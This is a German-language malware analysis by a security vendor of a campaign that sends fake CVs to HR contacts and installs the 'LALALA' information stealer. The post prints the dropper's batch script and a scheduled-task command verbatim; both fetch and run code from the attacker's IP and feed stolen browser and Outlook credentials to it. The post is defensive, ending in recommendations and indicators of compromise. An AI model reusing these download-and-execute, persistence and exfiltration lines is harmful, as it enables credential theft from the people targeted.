Zusammenfassung

Das Hornetsecurity Security Lab gibt Einblicke in eine schon seit längerem laufende Informationsdiebstahl-Kampagne. Die Kampagne läuft seit 2019-07-22 praktisch unverändert. Aufgrund der eingesetzten Schadsoftware, die in der Kampagne verwendet wird, ist die Virenerkennung des eingesetzten Informationsdiebstahl-Skripts nach wie vor gering. Die Kampagne verwendet eine gefälschte Lebenslaufdatei, um deutschsprachige Institutionen via E-Mail-Adressen anzusprechen, die vorwiegend als Personal-Kontakte auf den Stellenangeboten der betreffenden Institutionen zu finden sind. Die detaillierte Analyse dieses gezielten Angriffs umreißt das Social-Engineering-Risiko, dem Mitarbeiter deren Kontaktdaten öffentlich sind ausgesetzt sind.

Background

Wie so viele Angriffe beginnt auch dieser mit einer E-Mail:

Die Sprache der E-Mails ist Deutsch. Die Kampagne richtet sich daher an deutschsprachige Empfänger.

Beim Öffnen des Anhangs wird eine Datei mit dem Namen lebenslauf angezeigt:

Nach dem Start einer vermeintlichen Bilddatei wird dem Opfer ein scheinbar kaputtes Bild mit der Überschrift “Lebenslauf” präsentiert:

Die Bilddatei ist nicht defekt. Die Fehlermeldung ist Teil des Bildes. Im Hintergrund wurde eine von SonicWall [1] LALALA InfoStealer genannte Schadsoftware heruntergeladen und die Zugangsdaten des Opfers gestohlen.

Technical Analysis

Die technische Analyse skizziert zunächst jede Stufe der Infektionskette, die zum Einsatz der LALALA InfoStealer-Batchdatei führt, wie im folgenden Ablaufdiagramm dargestellt:

Nach der Skizzierung der Infektionskette wird ein Einblick gegeben auf welche Empfänger es dieser Angriff abgesehen hat.

Email

Die Kette des Angriffs beginnt mit einer E-Mail. Sie gibt vor, in deutscher Sprache verfasst zu sein. Sie wurde jedoch von Personen geschrieben, die mit der deutschen Rechtschreibung nicht vertraut sind. Statt des richtigen deutschen Graphems ß (Eszett) verwendet die E-Mail das visuell ähnliche B aus dem lateinischen Alphabet. Außerdem fehlen die diakritischen Zeichen der deutschen Umlaute. Die E-Mail verwendet u anstelle von ü. Auch die Großschreibung von „Lebenslauf“ im Betreff der E-Mail fehlt.

Die E-Mails werden von E-Mail-Adressen nach dem Muster [Vorname.]Nachname@vodafonemail.de gesendet. Sie werden von den legitimen Mailservern von vodafonemail.de verschickt, bestehen also SPF-Prüfungen.

Es ist nicht bekannt, ob die sendenden Konten kompromittiert wurden, da die Registrierung einer vodafonemail.de-E-Mail-Adresse kostenlos und für die Allgemeinheit zugänglich ist. Insgesamt wurden (in allen Wellen) 44 verschiedene E-Mails verwendet. In der letzten Welle der Kampagne wurden 30 verschiedene E-Mails verwendet.

ISO-Datei

Die angehängte ISO-Datei enthält eine LNK-Datei. Windows bindet ISO-Dateien automatisch als Laufwerk ein und zeigt ihren Inhalt im Datei-Explorer an.

LNK-Datei

Die Metadaten der LNK-Datei (Shell-Link-Datei) lauten wie folgt:

$ exiftool lebenslauf_2020_3_20.jpeg.lnk 
ExifTool Version Number         : 11.70
File Name                       : lebenslauf_2020_3_20.jpeg.lnk
[...]
Flags                           : IDList, LinkInfo, RelativePath, CommandArgs, IconFile, Unicode, ExpString, ExpIcon, TargetMetadata
File Attributes                 : Archive
Create Date                     : 2010:11:21 04:23:55+01:00
Access Date                     : 2010:11:21 04:23:55+01:00
Modify Date                     : 2010:11:21 04:23:55+01:00
Target File Size                : 345088
Icon Index                      : 16
Run Window                      : Show Minimized No Activate
Hot Key                         : (none)
Target File DOS Name            : cmd.exe
Drive Type                      : Fixed Disk
Volume Label                    : 
Local Base Path                 : C:\Windows\System32\cmd.exe
Relative Path                   : ..\..\..\..\..\..\Windows\System32\cmd.exe
Command Line Arguments          : /C "replace /a Lebenslauf_2020_3_20.jpeg.lnk "%temp%"&ren "%temp%\Lebenslauf_2020_3_20.jpeg.lnk" 977gh.bat &start "" /MIN "%TEMP%\977gh.bat"
Icon File Name                  : C:\Windows\System32\imageres.dll
Fill Attributes                 : 0x07
Popup Fill Attributes           : 0xf5
Screen Buffer Size              : 80 x 300
Window Size                     : 80 x 25
Window Origin                   : 0 x 0
Font Size                       : 8 x 12
Font Family                     : Modern
Font Weight                     : 400
Font Name                       : Terminal
Cursor Size                     : 25
Full Screen                     : No
Quick Edit                      : No
Insert Mode                     : Yes
Window Origin Auto              : Yes
History Buffer Size             : 50
Num History Buffers             : 4
Remove History Duplicates       : No

Die Einstellung des Icon-Dateinamens auf C:\Windows\System32\imageres.dll führt dazu, dass die LNK-Datei das Icon der imageres.dll anzeigt, ein Bildsymbol, das Windows auch für Bilddateien anzeigt, für die keine Vorschau erzeugt werden kann. Auf diese Weise wird die LNK-Datei für den normalen Benutzer als JPEG-Datei getarnt, insbesondere wenn Windows so eingestellt ist, dass Dateierweiterungen ausgeblendet werden, in diesem Fall das hintere .lnk des Dateinamens lebenslauf_2020_3_20.jpeg.lnk:

Des Weiteren wird beim Start von lebenslauf_2020_3_20.jpeg.lnk cmd.exe mit dem oben aufgeführten Parameter Befehlszeile aufgerufen. Die Befehlszeile enthält drei verkettete Befehle:

  1. replace /a Lebenslauf_2020_3_20.jpeg.lnk "%temp%", wodurch Lebenslauf_2020_3_20.jpeg.lnk in das Verzeichnis %temp% verschoben wird.
  2. ren "%temp%\Lebenslauf_2020_3_20.jpeg.lnk" 977gh.bat, wodurch Lebenslauf_2020_3_20.jpeg.lnk in 977gh.bat umbenannt wird.
  3. start "" /MIN "%TEMP%\977gh.bat", was %TEMP%\977gh.bat in einem minimierten (/MIN-Parameter) Fenster ohne Titel (""-Parameter) startet.

Dies bedeutet, dass lebenslauf_2020_3_20.jpeg.lnk als Batch-Skript-Datei gestartet wird. Und tatsächlich ist an die LNK-Datei ein Batch-Skript angehängt:

$ cat -v lebenslauf_2020_3_20.jpeg.lnk
[...]
-^?^@^@^@M-^?M-^?^@M-^?^@^@^@M-^?^@M-^?^@M-^?M-^?^@^@M-^?M-^?M-^?^@^@^@^@^@^M
^M
^M
@ECHO OFF^M
^M
^M
IF EXIST "%temp%\9o0.txt" (^M
"%temp%\lebenslauf_2020_3_20.jpeg"^M
echo mhjhjgjhgjh >"%temp%\977gh.bat"&& del /f /q "%temp%\977gh.bat"^M
EXIT^M
) ELSE (^M
echo 9o0>>"%temp%\9o0.txt"^M
powershell iwr -Uri "http://185.141.27.131/rar.exe"  -OutFile "%temp%\rar.exe"^M
powershell iwr -Uri "http://185.141.27.131/9o0.rar"  -OutFile "%temp%\9o0.rar"^M
"%temp%\rar.exe" e -y "%temp%\9o0.rar" "%temp%\"^M
"%temp%\lebenslauf_2020_3_20.jpeg"^M
powershell start-Process -FilePath "%temp%\9o0.bat" -WindowStyle hidden^M
echo hjhjgj >"%temp%\977gh.bat"&& del /f /q "%temp%\977gh.bat"^M
EXIT^M
)^M
EXIT^M
kjhjjyykyuyuyuiyuiyiu

Das Skript prüft zunächst, ob %temp%\9o0.txt existiert.

Falls das nicht der Fall ist, schreibt es 9a0 in %temp%\9o0.txt. Dann verwendet es PowerShell, um rar.exe und 9o0.rar herunterzuladen. rar.exe ist eine legitime und signierte Kopie des Befehlszeilen-Dienstprogramms RAR von Alexander Roshal. Die rar.exe wird dann benutzt, um die 9o0.rar zu extrahieren. Es enthält:

$ tree
.
|-- 9o0.bat
|-- lebenslauf_2020_3_20.jpeg
`-- sqlite3.exe

0 Verzeichnisse, 3 Dateien

Das Skript startet dann %temp%\lebenslauf_2020_3_20.jpeg. Das folgende Bild wird angezeigt:

Obwohl das Bild beschädigt zu sein scheint und sogar einen Fehler anzeigt, funktioniert es wie beabsichtigt, d.h. sowohl die Fehlermeldung als auch die Bildbeschädigung sind Teil des Bildes.

Dann wird der LALALA InfoStealer, der sich in der heruntergeladenen 9o0.bat befindet, gestartet.

Falls die Datei %temp%\9o0.txt existiert, öffnet das initiale Skript %temp%\lebenslauf_2020_3_20.jpeg, überschreibt und löscht dann %temp%\977gh.bat, d.h. das initiale Skript überschreibt und löscht sich selbst.

LALALA InfoStealer Batch-Skript (9o0.bat)

Das Stealer-Skript hat insgesamt 135 Codezeilen mit insgesamt 11390 Zeichen:

$ wc 9o0.bat 
  135   616 11390 9o0.bat

Es verfügt über Datenklau-, Exfiltrations- und Persistenzmechanismen.

Datenklau

Zunächst verwendet der Stealer PowerShell, um die Liste der installierten Software über die Regisry-Schlüssel HKLM:\Software\[Wow6432Node\]Microsoft\Windows\CurrentVersion\Uninstall\* abzufragen. Diese Informationen werden in die Datei "%temp%\gsgsd322\proglist.txt geschrieben.

Danach wird eine Kombination aus PowerShell-Befehlen und Aufrufen von sqlite3.exe verwendet, um Kennwörter, Cookies, Kreditkartennummern, Verlaufsdaten von Chrome, Firefox, Thunderbird, Windows WebCache (von Microsoft Edge verwendet) und Office (d.h. Outlook) zu stehlen. Die Daten werden in Dateien geschrieben, die in `“%temp%322″ gespeichert sind.

Exfil

Die Daten, d.h. die Inhalte von "%temp%\gsgsd322\\, werden dann mit der zuvor heruntergeladenen rar.exe in ein Archiv %RMZ%.rar (wobei %RMZ% eine zufällige Zeichenkette ist) archiviert, das %RMZ%.rar enthält:

Benutzer/
`-- admin
    `-- AppData
        `-- Local
            `-- Temp
                `-- gsgsd322
                    |-- card123456
                    |-- cert9.db
                    |-- cooki123456
                    |-- cookies.sqlite
                    |-- edg_waPIIzu3
                    |-- key4.db
                    |-- logins.json
                    |-- outloo_waPIIzu3
                    |-- pass123456
                    |-- places.sqlite
                    |-- proglist.txt
                    |-- waPIIzu3
                    `-- WebCacheV01.dat

5 Verzeichnisse, 13 Dateien

Das obige %RMZ%.rar-Archiv wird dann mit PowerShell nach 185.141.27[.]131/9o0.php gePOSTet.

Persistenz und C2

Das Skript plant eine Aufgabe ein, die jede Minute ausgeführt wird:

schtasks /create /tn "%RMZ%" /tr "wscript '%temp%\%RMZ%.vbs' 'powershell  Invoke-Expression -Command:(iwr -uri 185.141.27.131/gate990.php -method post -body '%RMZ%').content'" /sc MINUTE

Der Task verwendet ein zuvor erstelltes VBS-Skript:

echo CreateObject("Wscript.Shell").Run "" ^& WScript.Arguments(0) ^& "", 0, False >"%temp%\%RMZ%.vbs"

Die Aufgabe wird daher jede Minute Befehle von 185.141.27[.]131/gate990.php herunterladen und ausführen.

Ziele des Angriffs

Auf die zuletzt beobachtete Welle folgte am nächsten Tag eine viel kleinere Welle:

Es gab keine signifikante Verschiebung bei den vom Angriff betroffenen Branchen zwischen den beiden Wellen.

Die deutsche Sprache in den E-Mails bedeutet, dass die Kampagne auf Deutschland abzielt. Dies wird weiter unterstützt durch die Analyse der Länder, die mit den Unternehmen oder Einrichtungen der Empfänger (soweit bekannt) aus der letzten oben dargestellten Welle assoziiert sind:

Untersuchungen aus öffentlich zugänglichen Quellen haben ergeben, dass die Mehrheit der Empfänger-E-Mail-Adressen als Firmenkontakte für Stellenausschreibungen aufgeführt sind oder waren. Die Empfänger-Branchen (soweit bekannt) sind:

Die Mehrheit der Empfänger sind in der Dienstleistungsbranche (engl. Professional Services) tätig. Aus der manuellen Auswertung geht hervor, dass sich die Mehrheit aus (Zeit-)Arbeitsvermittlungsagenturen zusammensetzt. Die zweitgrößte Branche ist die Gesundheitsbranche (engl. Health Services). Aus der manuellen Evaluierung geht hervor, dass es sich bei diesen Empfängern überwiegend um Pflegeheime und Spezialpflegeeinrichtungen handelt. Es ist nicht bekannt, ob der Gesundheitssektor gezielt angegriffen wurde oder ob diese Beobachtung nur ein Spiegelbild der verfügbaren offenen Arbeitsplätze auf dem deutschen Arbeitsmarkt ist.

Frühere Aktivitäten

Diese spezifische Infektionskette wird seit 2019-07-22 bei Angriffen eingesetzt. Damals wurde lebenslauf_2019_6_6_6.img.lnk als Dateiname verwendet. Interessanterweise wurde die Betreffzeile früher korrekt großgeschrieben, aber Anfang 2020 wurde Lebenslauf im der Betreffzeile immer klein geschrieben:

Aus diesem Zeit-Histogramm lassen sich die einzelnen Wellen dieser Kampagne erkennen. Der E-Mail-Text hat sich, abgesehen vom Hinzufügen des Rechtschreibfehlers in der Betreffzeile, nicht verändert. Auch der Stealer selbst änderte sich nicht, abgesehen von geänderten C2-IPs und geänderten Variablennamen. Daher ist es ziemlich überraschend, dass das Haupt-Batch-Skript des Stealers immer noch eine sehr geringe Antiviren-Erkennung aufweist:

Schlussfolgerung und Empfehlungen

Angriffe, bei denen mittels Skripting und sogenannter “Living of the Land”-Techniken, d.h. es werden nur Programme in den Skripten aufgerufen die bereits auf dem System installiert sind und keine eigenen Schadsoftware-Programme installiert, gearbeitet wird, stellen eine Herausforderung für die Virenerkennung dar. In einer Welt, in der die Erkennung klassischer Schadsoftware-Programme immer besser wird, werden Angriffe, die vorhandene Programme auf dem Computer des Opfers über Skripte nutzt, immer beliebter. Angriffe, bei denen ein guter Vorwand für die Initiierung von E-Mail-Kommunikation verwendet wird, in diesem Fall eine Bewerbung, die an Empfänger gesendet wird, die tatsächlich auf Bewerbungsschreiben warten, erhöhen die Chancen auf eine erfolgreiche Ausführung der Schadsoftware. In Kombination mit der geringen Virenerkennung des Skripts des Information-Stealers stellt dies für Unternehmen und Institutionen ein erhebliches Risiko der Gefährdung ihrer Zugangsdaten dar.

Die einfachste Möglichkeit, diesen speziellen Angriffsvektor zu verhindern, ist das Verbot bestimmter E-Mail-Anhänge. In diesem Fall das ISO-Format. Wenn Ihr Unternehmen nicht mit diesen Mediendateien arbeitet, stellen diese für Ihr Unternehmen mehr Risiko als Nutzen dar. Darüber hinaus kann Microsoft Outlook so konfiguriert werden, dass das Öffnen bestimmter böswilliger Anhänge nicht zugelassen wird. Ebenso sollte das Verstecken von Dateiendungen im Windows-Betriebssystem deaktiviert werden. Dadurch wird verhindert, dass sich Schadsoftware als anderer Dateitypen ausgibt, indem eine doppelte Erweiterung, in diesem Fall .jpeg.lnk, an Dateinamen angehängt wird. Auf diese Weise erhält ein aufmerksamer Benutzer zumindest eine Chance, diese Dateiendungs-Tricks zu erkennen.

Um eine erfolgreiche Infektion zu entfernen, reicht es ggf. nicht aus, die Aufgabe, die vom Stealer eingeplant wurde, zu deaktivieren. Dadurch werden gestohlene Anmeldedaten nicht zurückgeholt, und es wird auch keine andere Schadsoftware entfernt, die möglicherweise von der eingeplanten Aufgabe, die vom Stealer eingerichtet wurde, heruntergeladen wurde. Betroffene Systeme müssen sofort vom Netzwerk getrennt und forensisch analysiert werden, bevor sie wieder angeschlossen werden. Andernfalls könnte sich möglicherweise nachinstallierte Schadprogramme immer noch auf dem System befinden und sich im schlimmsten Fall auf andere Computer im Netzwerk ausbreiten. Nicht zuletzt müssen alle Anmeldedaten des betroffenen Benutzers geändert und die Aktivitäten seit der Infektion bis zur Änderung der Anmeldeinformationen überprüft werden.

Der Spam and Malware Protection Dienst von Hornetsecurity mit den höchsten Erkennungsraten auf dem Markt erkannte die LALALA InfoStealer-E-Mails bereits beim ersten Erscheinen über eine generische Erkennungssignatur.

References

Indicators of Compromise (IOCs)

Hashes

SHA256FilenameDescription
172b416f0574f6c9ba38de478faaf75781ea15b9ad67ebdaa1b9289487c71988lebenslauf_2020_3_20.isoMalicious ISO attachment
254f722e11b7de73b53fb82d48f89f69639194027f9fc7c3724a640e4ebbf712lebenslauf_2020_3_20.jpeg.lnkMalicious LNK file contained in ISO
8b147861060fd9d6d90066457c54773cb0fdc65b87c07d4defe7d3cbe389ed379o0.batLALALA InfoStealer
3bb2d6a27ed46b5b356673264f56b8575880dc45cbcb656da6df74d4a84e1779lebenslauf_2020_3_20.jpegCV decoy error image
2e162d331c2475e0ba39cea969e0473896d3ff5e88cc92605ff2e24da3920768sqlite3.exeSQLite3 binary (legitimate NON MALICIOUS)

URLs

  • hxxp[:]//185.141.27[.]131/rar.exe
  • hxxp[:]//185.141.27[.]131/9o0.rar
  • hxxp[:]//185.141.27[.]131/firstga990.php (POST computer name and domain)
  • hxxp[:]//185.141.27[.]131/9o0.php (POST credential RAR)
  • hxxp[:]//185.141.27[.]131/gate990.php (download follow up malware)

IPs

  • 185.141.27[.]131

Senders

  • [firstname.]lastname@vodafonemail.de

Subjects

  • [Ll]ebenslauf